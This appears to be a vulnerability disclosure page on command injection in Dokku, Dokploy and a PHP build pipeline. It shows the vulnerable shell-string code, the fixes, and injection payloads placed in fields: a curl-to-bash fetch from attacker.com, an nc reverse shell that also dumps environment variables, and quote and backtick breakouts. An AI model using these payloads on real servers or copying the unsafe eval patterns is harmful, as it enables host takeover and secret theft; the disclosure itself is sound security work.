Open-Source PaaS
Vulnerability Research & Disclosures

# User with application-level deploy rights sets arbitrary options:
dokku docker-options:add target-app deploy "--label=audit; $(curl -s https://attacker.com/rev.sh | bash); #"

# In Dokku deploy pipeline, DOCKER_ARGS was expanded via eval:
eval "docker run -d $DOCKER_ARGS $IMAGE_NAME"

# -> Impact: The $(...) command substitution evaluates with full privileges on the hosting server!

# Dokku maintainers eliminated the eval sink and transitioned to strict argument array tokenization:
# Direct invocation of docker CLI binaries with escaped positional parameters, removing arbitrary shell evaluation.

// Lines 2976-2978: Build command string without escaping $this->dockerfile_location
$build_command = $this->wrap_build_command_with_env_export(
    "docker build {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} --progress plain -t $this->build_image_name {$this->workdir}"
);

// Injected payload in dockerfile_location:
// "Dockerfile; echo '--- DUMPING ENV ---'; env; nc 10.0.0.1 4444 -e /bin/sh; #"

// Input Validation & Path Traversal Guard:
if ($this->application->dockerfile_location) {
    if (!preg_match('/^[a-zA-Z0-9._\-\/]+$/', $this->application->dockerfile_location)) {
        throw new \RuntimeException("Invalid dockerfile_location: contains forbidden characters");
    }
    if (str_contains($this->application->dockerfile_location, '..')) {
        throw new \RuntimeException("Invalid dockerfile_location: path traversal detected");
    }
    $this->dockerfile_location = escapeshellarg($this->application->dockerfile_location);
}

// 1. Error throwing user-controlled serviceName
if (!result?.services?.[serviceName]) {
    throw new Error(`Domain "${domain.host}" is attached to service "${serviceName}" which does not exist`);
}

// 2. Unsanitized Error interpolated into shell script string:
export const writeDomainsToCompose = async (compose, domains) => {
    try { ... } catch (error) {
        return `echo "❌ Has occurred an error: ${error?.message || error}"; exit 1;`;
    }
};

// 3. Executed via execAsync() in getBuildComposeCommand
// An attacker injects: serviceName: `test"; id > /tmp/pwned; echo "`

// 1. Regex explicitly allowed backticks (`):
export const DATABASE_PASSWORD_REGEX = /^[a-zA-Z0-9@#%^&*()_+\-=[\]{}|;:,.<>?~`]*$/;

// 2. Command construction in apps/dokploy/server/api/routers/mysql.ts
const command = `
  CONTAINER_ID=$(${containerCmd})
  docker exec "$CONTAINER_ID" mysql -u root -p'${databaseRootPassword}' -e "ALTER USER '${targetUser}'@'%' IDENTIFIED BY '${password}'; FLUSH PRIVILEGES;"
`;
await execAsync(command, { shell: "/bin/bash" });

// If password is: `id>pwned.txt`
// Bash evaluates the backtick command on the HOST before mysql receives it!